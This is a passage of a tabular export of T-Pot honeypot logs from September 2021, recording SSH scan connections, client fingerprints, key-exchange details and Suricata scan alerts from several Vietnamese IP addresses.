25504	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:35.4137+03	2021-09-20 14:15:10.22647+03	{"_id": "qQbmAnwBvYTbRNuEihtn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:40282 (192.168.176.2:22) [session: 6de13dc2d907]", "session": "6de13dc2d907", "@version": "1", "protocol": "ssh", "src_port": 40282, "dest_port": 22, "timestamp": "2021-09-20T11:10:35.413700Z", "@timestamp": "2021-09-20T11:10:35.413Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25505	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:34.605271+03	2021-09-20 14:15:10.22747+03	{"_id": "sAbmAnwBvYTbRNuEihtn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "4569a57205cf", "@version": "1", "duration": 2.5013725757598877, "timestamp": "2021-09-20T11:10:34.605271Z", "@timestamp": "2021-09-20T11:10:34.605Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25506	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:34.639008+03	2021-09-20 14:15:10.22847+03	{"_id": "sQbmAnwBvYTbRNuEihtn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "69d30a142afc", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:34.639008Z", "@timestamp": "2021-09-20T11:10:34.639Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25507	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:34.942359+03	2021-09-20 14:15:10.22947+03	{"_id": "sgbmAnwBvYTbRNuEihtn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "69d30a142afc", "@version": "1", "timestamp": "2021-09-20T11:10:34.942359Z", "@timestamp": "2021-09-20T11:10:34.942Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25508	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:35.109386+03	2021-09-20 14:15:10.23147+03	{"_id": "swbmAnwBvYTbRNuEihtn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "ac59f0bea186", "@version": "1", "duration": 4.179086208343506, "timestamp": "2021-09-20T11:10:35.109386Z", "@timestamp": "2021-09-20T11:10:35.109Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25509	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:35.114812+03	2021-09-20 14:15:10.23347+03	{"_id": "tAbmAnwBvYTbRNuEihtn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "7ef33178df3f", "@version": "1", "duration": 2.540569543838501, "timestamp": "2021-09-20T11:10:35.114812Z", "@timestamp": "2021-09-20T11:10:35.114Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25511	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:35.379022+03	2021-09-20 14:15:10.23647+03	{"_id": "tgbmAnwBvYTbRNuEihtn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "e0c4ddf1b44d", "@version": "1", "duration": 2.6163532733917236, "timestamp": "2021-09-20T11:10:35.379022Z", "@timestamp": "2021-09-20T11:10:35.379Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25512	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:35.416595+03	2021-09-20 14:15:10.23747+03	{"_id": "twbmAnwBvYTbRNuEihtn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "6de13dc2d907", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:35.416595Z", "@timestamp": "2021-09-20T11:10:35.416Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25513	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:10:35.691457+03	2021-09-20 14:15:10.238471+03	{"_id": "uAbmAnwBvYTbRNuEjBuQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1303610288447181, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40282, "dest_port": 22, "timestamp": "2021-09-20T11:10:35.691457Z", "@timestamp": "2021-09-20T11:10:35.691Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25514	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:35.418711+03	2021-09-20 14:15:10.239473+03	{"_id": "uQbmAnwBvYTbRNuEjRum", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40282, "timestamp": "2021-09-20T11:10:35.418711", "@timestamp": "2021-09-20T11:10:35.418Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25515	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:36.459511+03	2021-09-20 14:15:10.240472+03	{"_id": "wQbmAnwBvYTbRNuEjhs7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:35752 (192.168.176.2:22) [session: cfc54c5f0e4f]", "session": "cfc54c5f0e4f", "@version": "1", "protocol": "ssh", "src_port": 35752, "dest_port": 22, "timestamp": "2021-09-20T11:10:36.459511Z", "@timestamp": "2021-09-20T11:10:36.459Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25549	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:10:43.921422+03	2021-09-20 14:15:10.286504+03	{"_id": "TQbmAnwBvYTbRNuEqxzV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:10:43.921422Z", "@timestamp": "2021-09-20T11:10:43.921Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
25516	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:10:36.182398+03	2021-09-20 14:15:10.24147+03	{"_id": "zAbmAnwBvYTbRNuEkBt5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:10:36.182398+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1801061990713470, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 35752, "dest_port": 22, "timestamp": "2021-09-20T11:10:36.182398Z", "@timestamp": "2021-09-20T11:10:36.182Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
25517	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:10:36.931694+03	2021-09-20 14:15:10.24347+03	{"_id": "zQbmAnwBvYTbRNuEkBt5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1637690024703845, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51530, "dest_port": 22, "timestamp": "2021-09-20T11:10:36.931694Z", "@timestamp": "2021-09-20T11:10:36.931Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25518	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:36.656749+03	2021-09-20 14:15:10.24447+03	{"_id": "zgbmAnwBvYTbRNuEkRuP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51530, "timestamp": "2021-09-20T11:10:36.656749", "@timestamp": "2021-09-20T11:10:36.656Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25519	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:10:39.199584+03	2021-09-20 14:15:10.245471+03	{"_id": "-AbmAnwBvYTbRNuEmRti", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,h